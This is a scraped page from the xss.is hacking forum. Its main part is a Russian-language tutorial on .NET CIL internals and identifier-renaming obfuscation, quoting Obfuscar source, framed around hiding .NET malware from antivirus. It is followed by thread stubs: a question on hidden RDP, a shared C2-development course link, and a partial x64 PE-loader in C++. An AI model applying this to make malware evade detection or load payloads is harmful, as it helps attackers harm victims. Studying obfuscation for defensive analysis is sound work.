Dynamically invoke arbitrary unmanaged code from managed code without PInvoke.

  • GitHub - TheWover/DInvoke: Dynamically invoke arbitrary unmanaged code from managed code without PInvoke.

github.com github.com

<утекшие_исходники_VMProtect>

2. Кто вставил Forth внутрь дотнета?

Ранее я сказал, что дотнет-код и нативный код — это две довольно разные вещи. Нативный код, который компилируется из этих ваших Сишечек, Плюсов, Дэ, Ржавого, Нимов и других нативных языков программирования исполняются на реальном железе (читай «на процессоре»). Шарпы (будь то C# или F#) и VB.NET компилируются в специальный код, который называют CIL (Common Intermediate Language) или же MSIL (который по сути является синонимом первого, я буду использовать оба термина, не запариваясь о деталях). CIL — это байткод для стековой виртуальной машины и среды исполнения CLR (Common Language Runtime), которая живет в глубине дотнетов. На вендовых операционных системах часто предустановлена CLR версии 2.0 (на которой исполняется код для фреймворка 2.0-3.5, идет в базовой пачке Windows 7) и/или версии 4.0 (на которой исполняется код для фреймворка 4.0-4.8, идет в базовой пачке Windows 10). Тут важно заметить, что фреймворк 3.5 на самом деле — фреймворк 2.0 с набором дополнительных библиотек, а с фреймворка 4.0 версионность уже идет более адекватно в том плане, что куда логичнее и понятнее, что фреймворк 4.5 — это фреймворк 4.0 плюс библиотеки. Современные дотнеты 5.0 и выше имеют немного другую среду исполнения, рассматривать их мы не будем потому, что малвари на дотнетах в подавляющем большинстве случаев используют именно фреймворк 2.0-4.8 (хотя сейчас уже, наверное, можно смело сказать 4.0+). А на компьютерах обычных рядовых пользователей крайне редко можно встретить дотнеты 5.0 или того выше (которые не предустановлены и их нужно устанавливать отдельно).

Стековую виртуальную машину мы уже однажды с вами писали тут: https://xss.is/threads/64508/ - по сути все подобные ВМ имеют примерно похожий вид (как, например, у Java или CPython). Смысл в том, что вместо привычных глазу реверсера регистров для подавляющего большинства операций используется стек. Я не знаю, почему исторически сложилось, что стековые виртуальные машины куда более распространены, чем регистровые, скорее всего в стековое представление проще компилить код из абстрактного синтаксического дерева (не нужно писать специальный аллокатор регистров). Но факт остается фактом, среди реализаций языков программирования вы куда чаще встретите именно стековые виртуальные машины (передаю привет бразильцам, которые Lua пилят, быть другим — нормально, не стесняйтесь этого :) ).

Реализация CLR использует так называемый «JIT-компилятор» (от выражения «just in time»). Смысл в том, что при первой попытке вызова метода его CIL-код компилируется в нативный код для текущей архитектуры (x86 — для 32-битного процесса, x64 — для 64-битного). JIT-компилятор выделяет исполняемую память на специальной куче, считывает CIL-код метода, с применением ряда оптимизаций компилирует его в нативный код, записывает его в выделенный исполняемый буфер, и запускает на исполнение. Компиляцию метода можно вызвать принудительно еще до его непосредственного вызова с помощью RuntimeHelpers.PrepareMethod, это часто используется при взаимодействии с внешними нативными библиотеками (например, когда в библиотеку нужно передать callback). С JIT-компилятором тоже можно своего рода «поиграться», но об этом мы поговорим позже, когда познакомимся с пиратом по прозвищу Джит-Крюк, пока не будем забегать вперед.

Для того, чтобы было удобно исследовать механизмы работы CIL-кода и JIT- компилятора, есть замечательный сайт: https://sharplab.io/ - на нем можно писать C#-код, а затем смотреть, в какой CIL-код он скомпилировался, и в какой нативный код CIL-код будет скомпилирован JIT-компилятором. Конечно, в рамках одной статьи невозможно коснуться всех интересных аспектов работы CIL-кода, и тем более нельзя научить вас программировать на чистом MSIL’е (или думать в рамках стекового языка программирования). Поэтому я рекомендую вам самим потыкать сайт sharplab.io и посмотреть, какие конструкции высокоуровневого языка C# компилируются в какие низкоуровневые конструкции CIL-кода. Это будет полезно. Я же в статье приведу только небольшой ряд примеров, которого на мой взгляд будет достаточно для понимания остального контента статей цикла.

Как я уже говорил, в стековых языках программирование все происходит через стек (очевидно, к гадалке можно не ходить). Давайте увидим это на примере одной простой операции сложения двух 32-битных чисел. На сайте sharplab.io вобьем следующий Цэ-шарповый код:

C#:Copy to clipboard

using System;

public class C {
    public int M(int a, int b) {
        return a + b;
    }
}

Окей, теперь давайте посмотрим, какой же CIL-код мы получили из этого. Инструкция ldarg.N кладет на стек аргумент вызова метода с номером N, то есть при исполнении инструкций IL_0000 и IL_0001 на стеке последовательно окажутся два аргумента вызова метода. Кстати, нулевым аргументом в instance-методы класса неявно передается ссылка на this (при необходимости кладется на стек инструкцией ldarg.0). Далее будет исполнена инструкция add. Она забирает два элемента с верхушки стека, складывает их вместе и кладет результат сложения на верх стека. Инструкция ret выходит из метода или же завершает его. При этом, если метод не является void, а возвращает какое-либо значение, то инструкция ret получает это значение с верхушки стека и кладет его на стек вызывающего метода (таким образом происходит возврат значения).

Code:Copy to clipboard

IL_0000: ldarg.1
IL_0001: ldarg.2
IL_0002: add
IL_0003: ret

Забавно, что CLR (видимо, для ускорения своей работы) проводит очень мало валидаций того, что находится на стеке. Она предполагает, что CIL-код всегда корректно сгенерирован компилятором. Поэтому, изменяя CIL-код можно как все неимоверно испортить (что обычно приводит к жестким падениями или к BadImageFormatException), так и получить разные забавные эффекты (например, получить внутренний адрес объекта из его ссылки на стеке, с чем в обычном не- unsafe коде C# компилятор не захочет вам помогать). В контексте этой статьи важно понимать, что CIL-код довольно хрупок, и нужно быть внимательным, чтобы ничего не поломать. Ну и ради интереса давайте посмотрим в какой нативный код будет скомпилирован наш пример JIT-компилятором (уффф, настолько оптимизированно, что мне пришлось секунд 10 разглядывать asm-код, чтобы понять, куда сложение делось :) ):

Code:Copy to clipboard

L0000: lea eax, [rdx+r8]
L0004: ret

Вызов методов происходит с помощью инструкций call, callvirt и довольно изотерической инструкции calli. Инструкция call используется для вызова статических и невиртуальных методов. Если метод так или иначе задействован в цепочке наследования, то для вызова используется инструкция callvirt (которая уже осуществляет вызов через vtable). Vtable дотнетов на уровне нативного кода реализован очень похоже на тоже самое в плюсах (скорее всего, это было сделано для интеропа в том числе и с COM-классами). Физически у объекта в памяти есть указатель на таблицу указателей на виртуальные методы. При вызове виртуального метода сначала происходит разименование указателя на таблицу с указателями на методы, затем из этой таблицы получается нужный указатель, затем метод вызывается по этому указателю. Мы с вами делали бы тоже самое руками, если бы пытались вызвать такой метод из православной Сишечки, в Плюсах же и Шарпах эти вещи реализует компилятор (в первом случае) и рантайм (во втором). Про calli не спрашивайте, ебал я в рот в этой залупе разбираться :). Аргументы для вызова метода кладутся на стек в прямом (а не обратном) порядке. То есть вызов статического метода TestMethod(1, 2, 3) будет выглядеть так:

Code:Copy to clipboard

IL_0000: ldc.i4.1
IL_0001: ldc.i4.2
IL_0002: ldc.i4.3
IL_0003: call void C::TestMethod(int32, int32, int32)

Теперь, когда вы уже это всё увидели (идеальное планирование статьи в действии), давайте я расскажу, как на стеке должны оказываться различного рода константы. Для этого есть ряд специальных инструкций. Так, например, чтобы на стек положить 32-битное число, нужно воспользоваться инструкцией ldc.i4 (или одной из ее коротких форм), для 64-битного числа есть инструкция ldc.i8, а для чисел с плавающей точкой инструкции ldc.r4 и ldc.r8 для float и double соответственно. Значение константы вшивается в код в след за опкодом инструкции. Особняком в этой группе стоит инструкция ldstr, которая загружает на стек константную строку. Дело в том, что вместо непосредственного значения (как в случае ldc.i4 и других) за опкодом в CIL-код вшивается тот самый токен, который указывает на строку в таблицах мета-данных. То есть сами данные строки хранятся отдельно, на данные ссылается элемент таблицы мета-данных, а на элемент таблицы через токен ссылается код. Это делается для того, чтобы не раздувать объем кода (за счет дублирования данных строки) в том случае, если в нескольких местах код будет пытаться положить на стек одну и ту же строку. Сложно, но понять и простить можно.

Но часто на форумах я вижу отчаянный вопрос: «так а как на блядский стек положить массив, чего-то я не вдупляю ёбанарот». Да, брат, понимаю твою боль, массивы в CIL-коде — это совершенно отдельный способ садомазохизма (когда пытаешься их реализовывать на уровне CIL-кода). Для начала давайте посмотрим, как на стеке оказывается массив объектов (в данном случае массив строк):

C#:Copy to clipboard

using System;

public class C {
    public string[] M() {
        return new string[] {
           "wtf is that, bro?",
           "arrays sucks so much"
        };
    }
}

Для начала на стеке нужно создать объект массива с пустым набором элементов. Для этого на стек сначала помещается длина массива (ldc.i4.2 — загружает на стек двойку), а затем с помощью инструкции newarr создается массив нужного нам типа (в качестве аргумента инструкция принимает токен, указывающий на описание типа в таблице мета-данных). Затем внутрь массива запихиваются элементы друг за другом. Для этого для каждого элемента сначала дублируется ссылка на массив с помощью инструкции dup (получает с вершины стека ссылку и добавляет ее копию выше исходной в стеке). Помимо инструкции dup может быть использована инструкция ldloc, если массив хранится в локальной переменной. Затем на стек кладется порядковый номер элемента и само значение для элемента (в нашем случае это строки, которые загружаются на стек с помощью инструкции ldstr). Далее идет инструкция stelem.ref, которая забирает со стека значение элемента, его индекс (порядковый номер) и ссылку на массив, и записывает в массив элемент по индексу. С одной стороны это выглядит неоправданно сложно, но с другой стороны, а как вы еще сделаете массивы в стековом языке программирования:

Code:Copy to clipboard

IL_0000: ldc.i4.2
IL_0001: newarr [mscorlib]System.String
IL_0006: dup
IL_0007: ldc.i4.0
IL_0008: ldstr "wtf is that, bro?"
IL_000d: stelem.ref
IL_000e: dup
IL_000f: ldc.i4.1
IL_0010: ldstr "arrays sucks so much"
IL_0015: stelem.ref
IL_0016: ret

Теперь давайте посмотрим, как дела обстоят с массивами примитивных типов, например, с массивами 32-битных целых чисел. И предвкушая ваше удивление, тут все еще неоправданно сложнее…

C#:Copy to clipboard

using System;

public class C {
    public int[] M() {
        return new int[] {
           1, 2, 3, 4, 5
        };
    }
}

Как и в прошлый раз (в случае с объектами) сначала на стеке создается массив на этот раз уже примитивного типа (инструкциями ldc.i4 и newarr). Но затем происходит с первого взгляда «неведомая х#йня» и «страшно, очень страшно, если бы мы знали, что это, мы не знаем что это» (с). Ну давайте я поясню. Непосредственно данные массива примитивных элементов хранятся прямо внутри CIL-кода. Для этого компилятор создает специальный класс с незамысловатым названием «», этому классу создается поле, которое указывает на данные массива примитивных элементов. Токен этого поля загружается на стек инструкцией ldtoken, а затем вызывается метод InitializeArray (инструкцией call). Этот метод получает первым аргументом ссылку на массив, вторым — токен поля (все со стека) и копирует данные примитивных типов изнутри поля в выделенный для массива буфер. На уровне CIL- кода такую вещь реализовывать та еще морока.

Code:Copy to clipboard

IL_0000: ldc.i4.5
IL_0001: newarr [mscorlib]System.Int32
IL_0006: dup
IL_0007: ldtoken field valuetype '<PrivateImplementationDetails>'/'__StaticArrayInitTypeSize=20' '<PrivateImplementationDetails>'::'4F6ADDC9659D6FB90FE94B6688A79F2A1FA8D36EC43F8F3E1D9B6528C448A384'
IL_000c: call void [mscorlib]System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(class [mscorlib]System.Array, valuetype [mscorlib]System.RuntimeFieldHandle)
IL_0011: ret

Безусловно, чтобы разобраться во всех тонкостях того, что происходит в CIL- коде, таких примеров далеко не достаточно. Но я надеюсь, что я научил вас главному: как при необходимости удобно и просто смотреть, какие высокоуровневые конструкции во что компилируются. Обычно я так и делал сам. Нужно что-то сделать на уровне MSIL — сделал на Шарпах, посмотрел CIL-код, понял его, повторил на уровне CIL-кода, получил профит. При необходимости можно почитать описание всех инструкций CIL-кода на MSDN’е тут: <https://learn.microsoft.com/en- us/dotnet/api/system.reflection.emit.opcodes?view=netframework-4.0> — знаю, что мелкомягкие любят перехерачить ссылки MSDN’а, поэтому, если эта ссылка протухнет, просто гуглите конкретную инструкцию, типа «opcode ldstr».

Ну и да, возвращаясь к вопросу о том, кто вставил Forth внутрь дотнетов? Я не знаю, наверное, мистер Андерс Хейлсберг. Но он скорее всего спиздел вдохновлялся реализацией Джавы, а не Фортом в чистом виде. Если кому интересно, посмотрите на стековые языки программирования типа Форта и сразу поймете отсылку...

3. Что в имени тебе моем?

Как писал классик: «Что в имени тебе моем? Оно заобфусцируется, как шум печальный...» (с). Мы с вами начнем с самого простого алгоритма обфускации этих ваших дотнетов — переименования идентификаторов. Дело в том, что в отличии от нативных языков программирования (Цэ, Плюсы, Дэ, Ним и так далее), компиляторы которых при сборке нативного кода пренебрегают сохранением названий классов, методов, аргументов и переменных (за исключением RTTI и отладочной информации, конечно), в мире дотнетов почти все имена сохраняются в таблицах метаданных. Это сделано для удобства отладки и использования скомпилированных библиотек. Сами посудите, если в нативных динамических библиотеках мы официально можем вызывать только функции из таблицы экспорта (в которой имена сохраняются), то из дотнетовских динамических библиотек (и даже экзешников) мы можем использовать любой публичный метод публичного класса (и даже приватные методы внутренних классов через Reflection). Мелкомягкие давно пытались сделать нечто подобное для своих COM’ов через эти ихние TypeLib’ы, но согласитесь, с дотнетами вышло куда лучше.

Смысл этого алгоритма обфускации в том, чтобы рекурсивно обойти дерево сборки (которое мы обсуждали в самом начале) и переименовать всё, что можно было переименовать (при этом ничего не поломав). Что я подразумеваю под «поломать», вы спросите? Дело в том, что дотнет фреймворк предполагает, что определенные вещи называются определенными именами. Так, например, глобальный класс «», который есть во всех модулях должен так и называться. Тот самый удивительный класс «» можно аккуратно попереименовывать, но лучше в это не влезать, так как особого практического смысла в этом нет. Виртуальные методы переопределенные в классе наследника должны называться также, как исходные виртуальные методы в классе родителе. Методы геттеры и сеттеры должны соответствовать имени свойства с префиксами «get_» и «set_» соответственно. И так далее. Если этот набор правил не соблюдать, то есть существенная вероятность того, что сборка будет поломана и перестанет нормально работать.

Теперь давайте подумаем, во что мы можем переименовывать элементы метаданных. Если нам хочется минимизировать размер сборки, то мы можем переименовывать элементы в короткие названия, вплоть до одной буквы, типа класс «A», класс «B» и так далее. Если мы хотим, чтобы у реверсера ломались глаза, то можем переименовывать во что-то типа «lI1llI1lIl1» (где название состоит из зрительно очень похожих друг на друга символов «I», «l» и «1»). Если мы хотим, чтобы сборка неотсвечивала после переименования, то можно брать псевдослучайные слова из какого-то word-листа, который можно найти в интернетах. Кроме того, дотнеты поддерживают юникод символы в идентификаторах, поэтому в принципе помимо букв и цифр из Latin-1 мы можем использовать некоторый набор локализованных символов, или даже непечатаемых символов. Но тут нужно быть осторожнее, на старых версиях дотнет фреймворка могут возникать странные баги с этим связанные, в общем, если решите пойти по этому путь, то уделите больше внимания тестированию.

В некоторых случаях при переименовании вещей имеет смысл сохранить некий текстовый файл, в котором будет записаны соответствия исходных имен новым именам для того, чтобы в будущем облегчить себе отладку и тестирование. После того, как вы переименовали исходные идентификаторы в новые все стек-трейсы и другие привычные вещи будут выводиться вам с новыми идентификаторами. Из-за этого иногда бывает очень сложно и муторно искать, где что-то пошло не по вашему плану.

Теперь давайте рассмотрим пример того, как это реализовано в одном из реальных публичных обфускаторов. Для этого я решил взять фрагменты из обфускатора Obfuscar для разнообразия (поскольку он под капотом использует Mono.Cecil) и для простоты (поскольку его реализация выглядит чуть проще, чем у ConfuserEx, который старается рассматривать кучу частных случаев, в большинстве ситуаций ненужных по моему мнению). Собственно переименования происходит в методе «RunRules» класса «Obfuscator»:

C#:Copy to clipboard

public void RunRules()
{
    // The SemanticAttributes of MethodDefinitions have to be loaded before any fields,properties or events are removed
    LoadMethodSemantics();

    LogOutput("Hiding strings...\n");
    HideStrings();

    LogOutput("Renaming:  fields...");
    RenameFields();

    LogOutput("Parameters...");
    RenameParams();

    LogOutput("Properties...");
    RenameProperties();

    LogOutput("Events...");
    RenameEvents();

    LogOutput("Methods...");
    RenameMethods();

    LogOutput("Types...");
    RenameTypes();

    PostProcessing();

    LogOutput("Done.\n");

    LogOutput("Saving assemblies...");
    SaveAssemblies();
    LogOutput("Done.\n");

    LogOutput("Writing log file...");
    SaveMapping();
    LogOutput("Done.\n");
}

После сокрытия строк (вызов метод HideStrings) обфускатор переименовывает все поля, параметры, свойства, события, методы и типы. Возможно, у автора проекта была «какая-то тактика», почему переименовывать имена нужно в этом порядке, «и он ее придерживался». Я же в своих обфускаторах переименование реализую, последовательно проходя древовидную структуру: сборка, затем модуль, затем тип, затем все, что вложено в этот тип, затем перехожу к следующему типу. Мне кажется, такой алгоритм более оптимальным в том плане, что не нужно по несколько раз перечислять типы для каждого отдельного алгоритма. Давайте рассмотрим для примера, как происходит переименование типов в методе RenameTypes.

C#:Copy to clipboard

public void RenameTypes()
{
    //var typerenamemap = new Dictionary<string, string> (); // For patching the parameters of typeof(xx) attribute constructors
    foreach (AssemblyInfo info in Project.AssemblyList)
    {
        AssemblyDefinition library = info.Definition;

        // make a list of the resources that can be renamed
        List<Resource> resources = new List<Resource>(library.MainModule.Resources.Count);
        resources.AddRange(library.MainModule.Resources);

        var xamlFiles = GetXamlDocuments(library, Project.Settings.AnalyzeXaml);
        var namesInXaml = NamesInXaml(xamlFiles);

        // Save the original names of all types because parent (declaring) types of nested types may be already renamed.
        // The names are used for the mappings file.
        Dictionary<TypeDefinition, TypeKey> unrenamedTypeKeys =
            info.GetAllTypeDefinitions().ToDictionary(type => type, type => new TypeKey(type));

        // loop through the types
        int typeIndex = 0;
        foreach (TypeDefinition type in info.GetAllTypeDefinitions())
        {
            if (type.FullName == "<Module>")
                continue;

            if (type.FullName.IndexOf("<PrivateImplementationDetails>{", StringComparison.Ordinal) >= 0)
                continue;

            TypeKey oldTypeKey = new TypeKey(type);
            TypeKey unrenamedTypeKey = unrenamedTypeKeys[type];
            string fullName = type.FullName;

            string skip;
            if (info.ShouldSkip(unrenamedTypeKey, Project.InheritMap, Project.Settings.KeepPublicApi,
                Project.Settings.HidePrivateApi, Project.Settings.MarkedOnly, out skip))
            {
                Mapping.UpdateType(oldTypeKey, ObfuscationStatus.Skipped, skip);

                // go through the list of resources, remove ones that would be renamed
                for (int i = 0; i < resources.Count;)
                {
                    Resource res = resources[i];
                    string resName = res.Name;
                    if (Path.GetFileNameWithoutExtension(resName) == fullName)
                    {
                        resources.RemoveAt(i);
                        Mapping.AddResource(resName, ObfuscationStatus.Skipped, skip);
                    }
                    else
                    {
                        i++;
                    }
                }

                continue;
            }

            if (namesInXaml.Contains(type.FullName))
            {
                Mapping.UpdateType(oldTypeKey, ObfuscationStatus.Skipped, "filtered by BAML");

                // go through the list of resources, remove ones that would be renamed
                for (int i = 0; i < resources.Count;)
                {
                    Resource res = resources[i];
                    string resName = res.Name;
                    if (Path.GetFileNameWithoutExtension(resName) == fullName)
                    {
                        resources.RemoveAt(i);
                        Mapping.AddResource(resName, ObfuscationStatus.Skipped, "filtered by BAML");
                    }
                    else
                    {
                        i++;
                    }
                }

                continue;
            }

            string name;
            string ns;
            if (type.IsNested)
            {
                ns = "";
                name = NameMaker.UniqueNestedTypeName(type.DeclaringType.NestedTypes.IndexOf(type));
            }
            else
            {
                if (Project.Settings.ReuseNames)
                {
                    name = NameMaker.UniqueTypeName(typeIndex);
                    ns = NameMaker.UniqueNamespace(typeIndex);
                }
                else
                {
                    name = NameMaker.UniqueName(_uniqueTypeNameIndex);
                    ns = NameMaker.UniqueNamespace(_uniqueTypeNameIndex);
                    _uniqueTypeNameIndex++;
                }
            }

            if (type.GenericParameters.Count > 0)
                name += '`' + type.GenericParameters.Count.ToString();

            if (type.DeclaringType != null)
                ns = ""; // Nested types do not have namespaces

            TypeKey newTypeKey = new TypeKey(info.Name, ns, name);
            typeIndex++;

            FixResouceManager(resources, type, fullName, newTypeKey);

            RenameType(info, type, oldTypeKey, newTypeKey, unrenamedTypeKey);
        }

        foreach (Resource res in resources)
            Mapping.AddResource(res.Name, ObfuscationStatus.Skipped, "no clear new name");

        info.InvalidateCache();
    }
}

Дрочь с XAML и ресурсами нам не особо интересна, поскольку это больше свойственно легитимному коду (если хотите, то можете сами в этом покопаться, это не так сложно должно быть). В методе сначала происходит сохранение исходным имен для создания так называемого «mapping»-файла: файла с соответствием оригинальных и сгенерированных имен (чтобы упрощать отладку обфусцированного образца и стек-трейсов исключений). Затем в цикле происходит обработка каждого типа в отдельности. В цикле, как я говорил вам ранее, типы с именами «» и «» игнорируются. Дальше происходит проверка каждого типа на то, нужно ли его пропускать или нет. Этот метод реализован в классе AssemblyInfo, он сравнивает характеристики текущего типа с настройками обфускатора, и не переименовывает типы с флагом Runtime и SpecialName. Далее происходит проверка присутствия имени типа в XAML — нахер её. Затем для типа генерируется уникальное имя с помощью класса NameMaker, а переименование типа происходит в методе RenameType. Последняя функция достаточно простая: в Mono.Cecil для изменения имени типа необходимо просто установить значения свойств Name и NameSpace на типах. А вот генерацию уникального имени давайте рассмотрим поподробнее:

C#:Copy to clipboard

static class NameMaker
{
    static string uniqueChars;
    static int numUniqueChars;
    const string defaultChars = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz";

    const string unicodeChars = "\u00A0\u1680" +
                                "\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u200B\u2010\u2011\u2012\u2013\u2014\u2015" +
                                "\u2022\u2024\u2025\u2027\u2028\u2029\u202A\u202B\u202C\u202D\u202E\u202F" +
                                "\u2032\u2035\u2033\u2036\u203E" +
                                "\u2047\u2048\u2049\u204A\u204B\u204C\u204D\u204E\u204F\u2050\u2051\u2052\u2053\u2054\u2055\u2056\u2057\u2058\u2059" +
                                "\u205A\u205B\u205C\u205D\u205E\u205F\u2060" +
                                "\u2061\u2062\u2063\u2064\u206A\u206B\u206C\u206D\u206E\u206F" +
                                "\u3000";

    private static readonly string koreanChars;

    static NameMaker()
    {
        // Fill the char array used for renaming with characters
        // from Hangul (Korean) unicode character set.
        var chars = new List<char>(128);
        var rnd = new Random();
        var startPoint = rnd.Next(0xAC00, 0xD5D0);
        for (int i = startPoint; i < startPoint + 128; i++)
            chars.Add((char) i);

        ShuffleArray(chars, rnd);
        koreanChars = new string(chars.ToArray());
    }

    private static void ShuffleArray<T>(IList<T> list, Random rnd)
    {
        int n = list.Count;
        while (n > 1)
        {
            n--;
            int k = rnd.Next(n + 1);
            (list[n], list[k]) = (list[k], list[n]);
        }
    }

    public static string UniqueChars
    {
        get { return uniqueChars; }           
    }

    public static string KoreanChars
    {
        get { return koreanChars; }
    }

    public static string UniqueName(int index)
    {
        return UniqueName(index, null);
    }

    public static string UniqueName(int index, string sep)
    {
        // optimization for simple case
        if (index < numUniqueChars)
            return uniqueChars[index].ToString();

        Stack<char> stack = new Stack<char>();

        do
        {
            stack.Push(uniqueChars[index % numUniqueChars]);
            if (index < numUniqueChars)
                break;
            index /= numUniqueChars;
        } while (true);

        StringBuilder builder = new StringBuilder();
        builder.Append(stack.Pop());
        while (stack.Count > 0)
        {
            if (sep != null)
                builder.Append(sep);
            builder.Append(stack.Pop());
        }

        return builder.ToString();
    }

    public static string UniqueNestedTypeName(int index)
    {
        return UniqueName(index, null);
    }

    public static string UniqueTypeName(int index)
    {
        return UniqueName(index % numUniqueChars, ".");
    }

    public static string UniqueNamespace(int index)
    {
        return UniqueName(index / numUniqueChars, ".");
    }

    internal static void DetermineChars(Settings settings)
    {
        if (!string.IsNullOrWhiteSpace(settings.CustomChars))
        {
            uniqueChars = settings.CustomChars;
        }
        else if (settings.UseUnicodeNames)
        {
            uniqueChars = unicodeChars;
        }
        else if (settings.UseKoreanNames)
        {
            uniqueChars = koreanChars;
        }
        else
        {
            uniqueChars = defaultChars;
        }

        numUniqueChars = uniqueChars.Length;
        string lUnicode = uniqueChars;
        for (int i = 0; i < lUnicode.Length; i++)
        {
            for (int j = i + 1; j < lUnicode.Length; j++)
            {
                System.Diagnostics.Debug.Assert(lUnicode[i] != lUnicode[j], "Duplicate Char");
            }
        }
    }
}

Для генерации имени обфускатор использует один из наборов символов: это могут быть символы английского алфавита (без цифр, так как имя типа по-хорошему не может начинаться с цифры, но для второго и последующих символов в имени текущего типа цифры можно использовать, я думаю, что автор просто не стал запариваться этим), странные символы юникода и символы из корейского языка. Наборы английских и юникод символов захардкожены в виде констант, а корейские символы генерируются один раз в статическом конструкторе типа. Кстати, если вы не знали, в дотнетах статические конструкторы типов вызываются при первом обращении к типу, будь то создание инстанса или вызов статического метода типа. Поэтому, если, например, добавить статический конструктор типу «», он будет вызван неявно при инициализации модуля в процессе загрузки сборки. Это вполне можно использовать в разных целях, как мы увидим в следующих статьях цикла. Но мы отвлеклись… Класс в зависимости от настроек обфускатора выбирает массив символов, из которого он будет формировать уникальные имена. Затем в зависимости от порядкового номера имени с помощью вспомогательного стека генерирует имя. Таким образом, первые типы будут, например, иметь имена «A», «a», «B» и тому подобное. Когда алфавита не будет хватать (номер имени выйдет за длину алфавита), то имя будет генерироваться из двух символов и так далее.

Этот метод сравнительно неплохой, когда нам хочется уменьшить объем исполняемого файла сборки, так как имена типов будут короткими (от одного до N-символов в зависимости от количества типов). Единственное, если бы я реализовывал такое, то я бы скорее всего обошелся без стека, записывая символы сразу в StringBuilder. Необходимость дополнительной коллекции в данном случае оставим под вопросом. И да, если нам хочется казаться легитимным исполняемым файлом, то куда лучше использовать для этого реально существующие слова из какого-нибудь word-листа. А использование юникода и корейских символов я бы не советовал, в этом случае сразу становится понятно, что файл скорее всего был обфусцирован, не знаю, насколько современные антивирусы способны это установить в автоматическом режиме, но в теории это может добавить отрицательных баллов исполняемому файлу в статике.

Алгоритмы переименования других имен очень похожи, поэтому вооружившись полученными знаниями, я уверен, что у вас получится их разобрать и без моего участия. После того, как обфускатор прошел все свои «правила» в методе RunRules, он сохраняет модифицированную в памяти сборку библиотекой Mono.Cecil в методе SaveAssemblies, на этом «его полномочия всё — окончены» (с). Obfuscar по функционалу достаточно примитивный обфускатор, но на его примере можно показать отдельные алгоритмы. В следующих статьях мы уже будем рассматривать более «навороченные» (хоть и задроченные) обфусктаторы, которые уже реализованы на базе библиотеки dnlib. По моему мнению, использовать Mono.Cecil для обфускации вполне возможно, но dnlib и AsmResolver предоставляют более удобное API для этого (выбирать вам, но я рекомендую AsmResolver).

На этом, я думаю, с первой частью статьи пора заканчивать, а то я опять вышел за 30к символов, такие статьи становится тяжело читать за раз. Спасибо вам, что дочитали мою статью до конца, я надеюсь, что у меня вышло в достаточно понятном виде преподнести вам необходимую базу для понимания того, как работают дотнеты и обфускаторы для них. В следующих статьях этого цикла мы будем рассматривать более сложные алгоритмы, руководствуясь этой базой. И отдельное спасибо тем ребятам, которые периодически тыкали меня со словами «дядь, когда уже статья по обфускации дотнетов, ты заебал морозить». Простите, ребятки, я всегда рад поделиться знаниями и своим особо важным мнением, но времени и сил на всё не хватает. Надеюсь, что со следующими статьями такого «крокодильева ануса» не выйдет, и ждать их не придется слишком долго.

Эта статья написана специально для вас — для моего любимого уютненького комьюнити XSS.is. ❤️❤️❤️

HRDP
ID: 6765d804b4103b69df3757c8
Thread ID: 90005
Created: 2023-06-08T14:30:28+0000
Last Post: 2023-07-19T19:33:19+0000
Author: babyjo
Replies: 25 Views: 2K

Перелазил весь инет все никак не пойму как он отрабатывает, с hvnc то понятно, или процесс по хитрому делать, или десктоп делать, или виртуальный экран апи с винды 10
А как работает хрдп ??
Я на гитхабе ненашел ни одного примера, я пробовал вручную делать это все, но я не могу подключиться к себе же самому по рдп
Как быть?
Может кто подскажет как это работает?

C2 Development in C# (курс)
ID: 6765d804b4103b69df3757d5
Thread ID: 87054
Created: 2023-05-01T15:09:46+0000
Last Post: 2023-06-20T12:13:30+0000
Author: WellDone
Prefix: Мануал/Книга
Replies: 19 Views: 2K

Курс от rastamouse по разработке своего с2 на шарпе
Описание курса: https://training.zeropointsecurity.co.uk/courses/c2-development-in-csharp

Ссылка:

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)

[ File on MEGA

](https://mega.nz/file/YMclUA6L#58NNEyHpx6prdaP-9N-1NiepSwvcF_C6inxsq_JE6A8)

mega.nz mega.nz

Пароль: xss.is

LoadPe x64 C++ Source
ID: 6765d804b4103b69df3757eb
Thread ID: 86880
Created: 2023-04-28T20:03:26+0000
Last Post: 2023-05-10T13:19:17+0000
Author: salsa20
Replies: 39 Views: 2K

Что я упускаю тут?
Для x86 код работает. Но для 64 где то ошибка.

C++:Copy to clipboard

#include <windows.h>
#include <stdio.h>
#include <vector>
#include <string>

void _memcpy(void* dst, const void* src, size_t size) {
    BYTE* _dst = (BYTE*)dst;
    BYTE* _src = (BYTE*)src;
    while (size--) {
        *_dst++ = *_src++;
    }
}
std::vector<std::wstring> loadedDlls;
DWORD peSize;

PIMAGE_DOS_HEADER GetDosHeader(BYTE* data) {
    return (PIMAGE_DOS_HEADER)data;
}

PIMAGE_NT_HEADERS GetNtHeaders(BYTE* data) {
    PIMAGE_DOS_HEADER dosHeader = GetDosHeader(data);
    return (PIMAGE_NT_HEADERS)(data + dosHeader->e_lfanew);
}

PIMAGE_SECTION_HEADER GetFirstSectionHeader(BYTE* data) {
    PIMAGE_NT_HEADERS ntHeaders = GetNtHeaders(data);
    return IMAGE_FIRST_SECTION(ntHeaders);
}

PIMAGE_IMPORT_DESCRIPTOR GetImportDescriptor(LPVOID pBase, PIMAGE_NT_HEADERS ntHeaders) {
    return (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)pBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
}

PIMAGE_THUNK_DATA GetThunkData(LPVOID pBase, PIMAGE_IMPORT_DESCRIPTOR pImport, bool useOriginal) {
    if (useOriginal && pImport->OriginalFirstThunk) {
        return (PIMAGE_THUNK_DATA)((DWORD_PTR)pBase + pImport->OriginalFirstThunk);
    } else {
        return (PIMAGE_THUNK_DATA)((DWORD_PTR)pBase + pImport->FirstThunk);
    }
}

FARPROC GetFunction(HMODULE hDll, PIMAGE_THUNK_DATA pThunk, LPVOID pBase) {
    if (pThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
        return GetProcAddress(hDll, (LPCSTR)(pThunk->u1.Ordinal & 0xFFFF));
    } else {
        PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)pBase + pThunk->u1.AddressOfData);
        FARPROC funcAddr = GetProcAddress(hDll, pName->Name);
        if (!funcAddr) {
